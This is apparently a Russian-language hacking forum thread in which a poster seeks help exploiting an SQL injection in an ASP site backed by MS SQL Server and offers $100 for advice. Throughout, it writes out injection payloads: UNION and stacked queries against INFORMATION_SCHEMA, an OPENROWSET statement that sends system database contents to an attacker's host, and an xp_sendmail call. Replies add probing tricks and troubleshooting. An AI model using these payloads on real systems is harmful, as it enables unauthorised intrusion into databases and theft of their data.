![]() |
Редкая трабла с MsSQL
Привет!
нашел инъекцию следующего вида http://www.server.com/products.asp?cat=Cars' Код:
Microsoft OLE DB Provider for SQL Server error '80040e14' http://www.server.com/products.asp?cat=CAR'%20UNION%20ALL%20SELECT%20*%2 0FROM%20INFORMATION_SCHEMA.TABLES-- ругается Код:
Microsoft OLE DB Provider for SQL Server error '80040e14' фильтрации никакой, запросы вида http://www.server.com/products.asp?cat=CAR' or 1=1-- ругется на синтакцис "or". products.asp?cat=CAR';SELECT%20*%20FROM%20INFORMAT ION_SCHEMA.TABLES-- работает без проблем, Думал фильтрует юнионы, оры и энды,но запрос вида products.asp?cat=CAR';SELECT%20*%20FROM%20INFORMAT ION_SCHEMA.TABLES%20UNION%20SELECT%20*%20FROM%20IN FORMATION_SCHEMA.TABLES-- тоже успешно выполняется. Думал, что все фильтруется после кавычки, однако если ввести немного "подпорченный" запрос(последний прведенный), то он ругается. Помогите советом. Пасиб. |
ДА вот по ходу еще два вопроса появилось
1)если юнион не пашет думаю сделать так Код:
insert%20into%20OPENROWSET('SQLoledb',%20'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',%20'select%20*%20from%20_sysdatabases')%20%20select%20*%20from%20master.dbo.sysdatabases--2)еще хотелось бы использовать Код:
'; exec master..xp_sendmailТак вот, как узнать что sendmail - точно разрешен? Пасибо за внимание. |
Попробуй запрос типа
products.asp?cat=(SELECT * FROM INFORMATION_SCHEMA.TABLES)-- |
2 gadjet:
тут подзапросом и не пахнет,хотя попробовал.=) 2 all: На ачате чтолько грамотных людей тусует, и мне никто не поможет?.может предложить денег?скажем 100 ваксов? |
PHP код:
PHP код:
|
2 Elect:
Уважаемый, я бы выслал деньги, если вы действительно ответили на вопрос=)) перечитайте что я писал выше, юнион здесь не помощь,если было бы ве так просто=) Думаю сдесь надо делать упор на "exec" |
скорее всего у тебя синтаксис не правильный выходит в первом запросе...
попробуй вместо ' ), '), )), ')) и так далее |
pop_korn прежде чем советовать подумай.
Xex а кто вообще сказал что там селект? введи order by 1. елси будет ругаться аналогично то там вообще не селект. возможно там `Cat` подставляется прямо в order by тут аналогично никакого юнион селекта не сделать. OPENROWSET Это безусловно удобная штука, но в большинстве случаев такие внешние вызовы блокируются фаерволом. master..xp_sendmail ОЧЕНЬ редко срабатывает тк во-первых, нужно иметь права админа или пользователя dbo, во-вторых, эта процедура напрямую взаимодействует с outlookoм и никому она в конечном счете вообще не нужна, поэтому с ней даже пытаться работать не советую. а то что проходит без ошибок в ответе скрипта не говорит о том что нет ошибки при выполнении запроса ;) |
| Время: 00:06 |